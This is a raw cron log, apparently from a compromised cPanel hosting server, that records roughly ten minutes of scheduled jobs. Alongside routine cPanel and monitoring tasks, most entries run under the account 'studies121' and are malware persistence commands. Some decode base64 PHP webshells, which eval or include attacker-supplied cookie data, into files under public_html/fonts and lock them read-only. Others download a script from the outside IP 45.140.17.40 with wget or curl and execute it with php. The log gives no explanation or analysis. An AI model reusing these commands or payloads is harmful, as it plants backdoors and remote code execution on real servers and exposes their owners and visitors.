Sep  1 07:25:01 ip-184-168-122-23 CROND[11754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:25:01 ip-184-168-122-23 CROND[11755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:25:01 ip-184-168-122-23 CROND[11756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:26:01 ip-184-168-122-23 CROND[11880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:26:01 ip-184-168-122-23 CROND[11882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:26:01 ip-184-168-122-23 CROND[11884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:26:01 ip-184-168-122-23 CROND[11886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:26:01 ip-184-168-122-23 CROND[11887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:27:01 ip-184-168-122-23 CROND[11981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:27:01 ip-184-168-122-23 CROND[11984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:27:01 ip-184-168-122-23 CROND[11983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:27:01 ip-184-168-122-23 CROND[11985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:28:01 ip-184-168-122-23 CROND[12082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:28:01 ip-184-168-122-23 CROND[12084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:28:01 ip-184-168-122-23 CROND[12086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:28:01 ip-184-168-122-23 CROND[12088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:28:01 ip-184-168-122-23 CROND[12087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:29:01 ip-184-168-122-23 CROND[12324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:29:01 ip-184-168-122-23 CROND[12326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:29:01 ip-184-168-122-23 CROND[12325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:29:01 ip-184-168-122-23 CROND[12328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:30:01 ip-184-168-122-23 CROND[12495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:30:01 ip-184-168-122-23 CROND[12499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:30:01 ip-184-168-122-23 CROND[12509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:31:01 ip-184-168-122-23 CROND[12609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12607]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12607]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:31:01 ip-184-168-122-23 CROND[12608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:32:01 ip-184-168-122-23 CROND[12712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:32:01 ip-184-168-122-23 CROND[12716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:32:01 ip-184-168-122-23 CROND[12717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:32:01 ip-184-168-122-23 CROND[12714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:32:01 ip-184-168-122-23 CROND[12715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:33:01 ip-184-168-122-23 CROND[12807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:33:01 ip-184-168-122-23 CROND[12808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:33:01 ip-184-168-122-23 CROND[12806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:33:01 ip-184-168-122-23 CROND[12809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:34:01 ip-184-168-122-23 CROND[12929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:34:01 ip-184-168-122-23 CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:34:01 ip-184-168-122-23 CROND[12933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:34:01 ip-184-168-122-23 CROND[12932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:34:01 ip-184-168-122-23 CROND[12934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:35:01 ip-184-168-122-23 CROND[13111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:35:01 ip-184-168-122-23 CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:35:01 ip-184-168-122-23 CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:36:01 ip-184-168-122-23 CROND[13215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:36:01 ip-184-168-122-23 CROND[13217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:36:01 ip-184-168-122-23 CROND[13219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:36:01 ip-184-168-122-23 CROND[13220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:36:01 ip-184-168-122-23 CROND[13221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
